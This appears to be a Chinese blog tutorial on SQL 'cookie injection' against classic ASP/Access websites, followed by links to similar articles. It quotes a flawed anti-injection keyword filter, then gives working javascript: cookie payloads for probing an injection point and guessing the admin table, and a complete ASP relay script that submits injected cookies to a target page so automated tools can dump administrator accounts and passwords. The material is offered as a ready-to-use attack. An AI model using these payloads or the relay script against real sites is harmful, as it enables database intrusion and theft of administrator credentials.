手工、工具分别实现cookie注入
最开始的判断access类型的网站注入点可以用“1 and 1=1”来判断。
不过现在的网站基本上被挡住了。之后呢,可以考虑cookie注入。
Dim Tc_Post,Tc_Get,Tc_In,Tc_Inf,Tc_Xh
'定义需要过滤的字串
Tc_In="'|;|and|(|)|exec|insert|select|delete|update|count|*|%|chr|mid|master||or|char|declare"
Tc_Inf = split(Tc_In,"|")
'处理post数据
If Request.Form<>"" Then
For Each Tc_Post In Request.Form
For Tc_Xh=0 To Ubound(Tc_Inf)
If Instr(LCase(Request.Form(Tc_Post)),Tc_Inf(Tc_Xh))<>0 Then
Response.Write "<Script Language=JavaScript>alert('请不要在参数中包含非法字符尝试注入!');</Script>"
'处理get数据
If Request.QueryString<>"" Then
For Each Tc_Get In Request.QueryString
For Tc_Xh=0 To Ubound(Tc_Inf)
If Instr(LCase(Request.QueryString(Tc_Get)),Tc_Inf(Tc_Xh))<>0 Then
Response.Write "<Script Language=JavaScript>alert('请不要在参数中包含非法字符尝试注入!');</Script>"
这
段代码把SQL注入中要用到的关键字基本都过滤了,但是作者忽略了一个重要的参数获取方式:cookie!程序只对get和post方式获取的参数进行了
过滤,要是通过cookie提交注入语句一样可以达到目的!因为防注代码的过滤,不能直接用get或者post方式进行注入。那如何进行突破呢?在说明之
前,先了解下request获取变量的方式:request.form获取的是post数据,request.querystring获取的get数
据,request.cookies获取的是cookie中的数据。但是如果是<%id=request("id")%>呢?这个时候程序是
按以下顺序来搜索集合:querystring,form,cookie,servervariable。当发现第一个匹配的变量的时候就认为是要访问的
成员。从上面的分析我们可以得到什么呢?这里既然程序就没有限制参数的来源,我们就不要去通过get的方式提交参数,而是在cookie里面加入参数id
的值,就可以饶过防注入代码的检测了!
1、判断注入
javascript:alert(document.cookie="id="+escape("1 and 1=1"));
例:
http://xxxx/view.asp?id=1
先访问http://xxxx/view.asp?id=1
接着在浏览器里输入:
javascript:alert(document.cookie="id="+escape("1 and 1=1"))
再访问http://xxxx/view.asp(未出错)
再输入:javascript:alert(document.cookie="id="+escape("188 and 1=2"))
再访问:http://xxxx/view.asp(出错)
2、猜解表段、字段
javascript:alert(document.cookie="id="+escape("1 and 1=(select count(*) from admin where len(username)>0)"));
剩下的事情就是重复上面的步骤来得到管理员帐户和密码了。
-----以下是工具----------
<%
cookname=request("jmdcw")
cookname=escape(cookname)
jmstr="id="&cookname '存在注入的变量
jmstr=replace(jmstr,chr(32),"%20")
jmstr=replace(jmstr,chr(43),"%2b")
'//以下三行需要修改,Cookies值可以用Domain3.5浏览下就得到了~~
jmurl="http://zzz.com/cplb.asp" '存在注入的网址
jmref="http://zzz.com/index.asp" '来源地址
jmcok="ASPSESSI"
jmcok=jmcok& ";"&jmstr&";"
response.write postdata(jmurl,jmcok,jmref)
function postdata(posturl,postcok,postref)
dim http
set http=server.createobject("msxml2.serverxmlhttp")
with http
.open "POST",posturl,false
.setRequestheader "content-type","application/x-www-form-urlencoded"
.setrequestheader "referer",postref
.setrequestheader "cookie",postcok '提交cookie值
.send() '发送数据
postdata=.responsebody '得到返回的二进制信息
end with
set http=nothing
postdata=bytes2BSTR(postdata) '转换二进制流
end function
function bytes2BSTR(vin)
dim strReturn
dim i,thischarcode,nextcharcode
strReturn=""
for i=1 to lenB(vin)
thischarcode=ascB(midB(vin,1,1))
if thischarcode<&H80 then
strReturn=strReturn&chr(thischarcode)
else
nextcharcode=ascB(midB(vin,1+1,1))
strReturn=strReturn&chr(clng(thischarcode) * &H100+cint(nextcharcode))
i=i+1
end if
next
bytes2BSTR=strReturn
end function
%>
保存为jmdcw.asp,最后可以本机装个IIS或绿色的aspsrv.exe,那么注入地址就是http://127.0.0.1/jmdcw.asp?jmdcw=46,直接用工具就OK了,从此HACKING的道路更宽广了
手工、工具分别实现cookie注入的更多相关文章
- 第二次靶场练习:cookie注入
cookie注入 本文章目的是对相关的黑客内容进一步了解,如有人违反相关的法律法规,本人概不负责 一.学习目的: 利用手工注入网站 利用sqlmab注入 二.附件说明 靶场网址:http://120. ...
- Web攻防系列教程之 Cookie注入攻防实战
摘要:随着网络安全技术的发展,SQL注入作为一种很流行的攻击方式被越来越多的人所知晓.很多网站也都对SQL注入做了防护,许多网站管理员的做法就是添加一个防注入程序.这时我们用常规的手段去探测网站的SQ ...
- cookie注入原理
cookie注入原理-->红客联盟 http://www.2cto.com/article/201202/118837.html 前言: document.cookie:表示当前浏览器中的coo ...
- cookie注入原理及注入检测
通常我们的开发人员在开发过程中会特别注意到防止恶意用户进行恶意的注入操作,因此会对传入的参数进行适当的过滤,但是很多时候,由于个人对安全技术了解的不同,有些开发人员只会对get,post这种方式提交的 ...
- SQL注入:Cookie注入
什么是Cookie Cookie就是代表你身份的一串字符串,网站根据Cookie来识别你是谁,如果你获取了管理员的Cookie,就表示你可以无需密码直接登陆管理员账号. Cookie注入的原理 在动态 ...
- 3.羽翼sqlmap学习笔记之Cookie注入
Cookie注入: 1.假设这个网址"http://www.xxx.org/Show.asp?id=9"存在注入点.2.sqlmap命令提示符下输入下列内容进行跑表. sqlmap ...
- 注入语句详解(get注入,cookie注入,搜索型注入等)
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''=' 拆半法 ###################################### and exists (select ...
- cookie注入讲解
我们首先还是来看看中网景论坛的最新版本"(CNKBBS2007)中网景论坛2007v5.0 "官方下载地址" http://www.cnetking.com/websys ...
- cookie注入的形成,原理,利用总结
一:cookie注入的形成 程序对提交数据获取方式是直接request("c.s.t")的方式.未指明使用request对象的具体方法进行获取. 二:原理 request(&quo ...
随机推荐
- ASP.NET整理
Asp.net六大对象 1.Request-->读取客户端在Web请求期间发送的值 常用方法: 1.Request.UrlReferrer请求的来源,可以根据这个判断从百度搜的哪个关键词.防 ...
- SQL创建函数及应用
用户自定义函数在SQL Server中,用户不仅可以使用标准的内置函数,也可以使用自己定义的函数来实现一些特殊的功能.用户自定义函数可以在企业管理器中创建,也可以使用CREATE FUNCTION 语 ...
- 我眼中的go的语法特点
因为基本从c#/javascript/c/c++/python/lua/action script,一路走来,对所有的C系列的语法既熟悉又有好感: 那在看语言的时候肯定会与C系列的东西进行类比,那就总 ...
- Oracle表空间操作
-- 查看表空间 SELECT tablespace_name, file_id, file_name, ), )||'M' total_space FROM dba_data_files ORDER ...
- NodeJS安全设计:好吃的草莓味糖果,只给好朋友小红
上一篇文章中,我们已经建立了一个有缓冲机制的文件服务器,能给客户端响应附件类型的文件,其实,就爱莲(iLinkIT)而言,NodeJS的模块做到这样也就已经可以了,因为使用的场景就是电脑和手机之间,与 ...
- spring aop配置文档部分翻译
欢迎转载交流: http://www.cnblogs.com/shizhongtao/p/3476973.html 下面的文字来自官方文档的翻译,具体事例以后奉上. Advisors "ad ...
- [java学习笔记]java语言基础概述之内存的划分&堆和栈
1.内存的划分 1.寄存器 cpu处理 2.本地方法区 和所在系统相关 3.方法区 方法加载进内存,其实就是开辟了一块该方法的方法区 方法区中还可以有静态区,用于存放静态变量(类变量) 4.栈内存 5 ...
- ios版弹珠游戏源码
这个是我们比较喜欢玩的一直小游戏的,ios版弹珠游戏源码,该游戏源码来着IOS教程网其他网友提供上传的,大家可以了解一下吧. nore_js_op> <ignore_js_op&g ...
- 专家解说IT行业存在哪些安全风险
本人为原创作品:e良师益友 ,转载是并且注明 网络带动了IT行业的发展,同时也带来了安全风险,国外的专家分析2014年IT行业存在的11个安全隐患,随着越来越多技术的不断开发,为方便人们记忆账号,产生 ...
- JAVA_SE复习(Class)
一.面向对象程序设计(OOP) 1.面向对象的程序设计是程序开发的一种方法.它将对象作为程序的基本单元,将程序和 数据封装其中,以提高软件的重用性.灵活性和扩展性 2.三个特征: 封装:隐藏信息 继承 ...